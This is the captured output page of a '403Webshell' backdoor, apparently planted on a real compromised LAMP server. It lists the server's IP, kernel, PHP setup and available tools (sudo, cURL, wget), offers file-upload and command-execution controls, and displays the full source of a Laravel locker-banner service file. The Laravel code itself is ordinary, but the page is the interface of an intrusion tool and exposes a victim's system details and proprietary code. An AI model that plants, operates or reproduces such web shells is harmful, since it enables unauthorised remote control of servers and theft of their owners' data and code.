403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/app/Http/Services/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/app/Http/Services/LockerBannerService.php
<?php

namespace App\Http\Services;

use App\Models\LockerBanner;
use App\Models\ServerFile;
use App\Events\GetLockerBanner;
use App\Http\Services\FileUploadService;
use Image;
use Str;
use Queriplex;
use App\Http\Services\GooglePubSubService;

class LockerBannerService
{   
    public function __construct(
        FileUploadService $fileUploadService,
		GooglePubSubService $googlePubSubService
    )
    {
        $this->fileUploadService = $fileUploadService;
        $this->googlePubSubService = $googlePubSubService;
    }

    public function searchQuery($query, $value, $search_by){

        $common_searchable = [
            'id',
            'name',
        ];          
        if(in_array($search_by,$common_searchable)){
            $query->search($search_by,$value);
        }

        return null;
    }

    public function queriplex($query, $request){

        $order_mode = ( $request['sortDesc'] ?? false )  ? 'DESC' : 'ASC';
        $search_by = $request['searchBy'] ?? null;

        $queriplex = Queriplex::make($query)
            ->withFilters($request, [
                'id' => 'id',
                'locker_id' => 'locker_id',
                'terminal_id' => function($query, $value){ // callback
                    return $query->whereHas('locker',function($q) use ($value){
                        return $q->where('terminal_id', $value);
                    });
                },
                'has_image' => fn($query) => $query->has('image'),
                'activity' => function($query, $value){
                    $query->whereActivity($value);
                },
                'search' => ( fn($query, $value) => self::searchQuery($query,$value,$search_by) ),
            ])
            ->withSort($request['sortBy'] ?? null, [
                "id" => fn($query) => $query->orderBy('id', $order_mode),
            ]);

        return $queriplex->apply();
    }

	public function listLockerBanner(Array $request)
	{
        $lockerBanners = LockerBanner::query();

        $lockerBanners = self::queriplex($lockerBanners, $request);

        $result = $lockerBanners->paginate($request['itemsPerPage'] ?? null);

        $result->load('image');

        return $result;
    }

    public function createLockerBanner(Array $request)
    {
        $lockerBanner = new LockerBanner();

        $lockerBanner->name = $request['name'];
        $lockerBanner->locker_id = $request['locker_id'];
        $lockerBanner->save();

        self::sendEvent($request);

        return $lockerBanner;
    }

    public function updateLockerBanner(Array $request)
    {   
        $lockerBanner = LockerBanner::where('id',$request['id'])
            ->withTrashed()
            ->firstOr( function(){
                throw ValidationException::withMessages(
                    [ "id" => "The selected id is invalid." ]
                );
            });

        $lockerBanner->name = $request['name'];
        $lockerBanner->save();

        self::sendEvent($request);

        return $lockerBanner;
    }

    public function deleteLockerBanner(Array $request)
    {
        $lockerBanner = LockerBanner::where('id',$request['id'])
            ->withTrashed()
            ->firstOr( function(){
                throw ValidationException::withMessages(
                    [ "id" => "The selected id is invalid." ]
                );
            });

        $lockerBanner->restoreOrDelete();

        self::sendEvent($request);

        return $lockerBanner;
    }

    public function uploadLockerBannerImage(Array $request)
    {
        $lockerBanner = LockerBanner::where('id',$request['id'])
            ->withTrashed()
            ->firstOr( function(){
                throw ValidationException::withMessages(
                    [ "id" => "The selected id is invalid." ]
                );
            });

        $file = $request['image'];

        $img = Image::make($file);
        // $img->fit(1280, 720);

        $path = "lockerBanners/".$lockerBanner->id;
        $file_name = Str::uuid()->toString().'.jpg';

        $this->fileUploadService->uploadFile( $img->encode(), $path, $file_name , $reset_directory = true);

        $lockerBanner = $lockerBanner->image()->updateOrCreate([],[
            'name' => $file_name,
            'path' => 'lockerBanners',
            'type_id' => ServerFile::IMAGE,
            'extension' => $file->getMimeType(),
            'mime_type' => $file->getClientOriginalExtension(),
            'size' => $file->getSize(),
        ]);

        self::sendEvent($request);

        return $lockerBanner;
    }

    public function clearLockerBannerImage(Array $request)
    {
        $lockerBanner = LockerBanner::where('id',$request['id'])
            ->withTrashed()
            ->firstOr( function(){
                throw ValidationException::withMessages(
                    [ "id" => "The selected id is invalid." ]
                );
            });

        $lockerBanner = $lockerBanner->image()->delete();

        self::sendEvent($request);

        return $lockerBanner;
    }

    public function sendEvent(Array $request)
    {
        $json = [
            "terminal_id" => $request['terminal_id']
        ];

		$this->googlePubSubService->publishMessage($request['terminal_id'], "GetLockerBanner", $json);
        
		$this->googlePubSubService->publishMessagev2($request['terminal_id'], "GetLockerBanner", $json);

		Event(new GetLockerBanner($request['terminal_id']));
    }

    // public function getOnClickValue($result)
    // {   
    //     $related_ids = $result->where('action_type_id',LockerBanner::COURSE_PROVIDER)->pluck('on_click')->unique();
    //     $related_data = Company::whereIn('id',$related_ids)->get(['id','name']);
    //     foreach ($result as $item) {
    //         $exist = $related_data->first(function($value, $key) use ($item){
    //             return $value->id == $item->on_click;
    //         });
    //         if($exist){
    //             $item->on_click_value = $exist->name;
    //         }
    //     }

    //     $related_ids = $result->where('action_type_id',LockerBanner::COURSE)->pluck('on_click')->unique();
    //     $related_data = Course::whereIn('id',$related_ids)->get(['id','name']);
    //     foreach ($result as $item) {
    //         $exist = $related_data->first(function($value, $key) use ($item){
    //             return $value->id == $item->on_click;
    //         });
    //         if($exist){
    //             $item->on_click_value = $exist->name;
    //         }
    //     }

    //     return $result;
    // }
}

Youez - 2016 - github.com/yon3zu
LinuXploit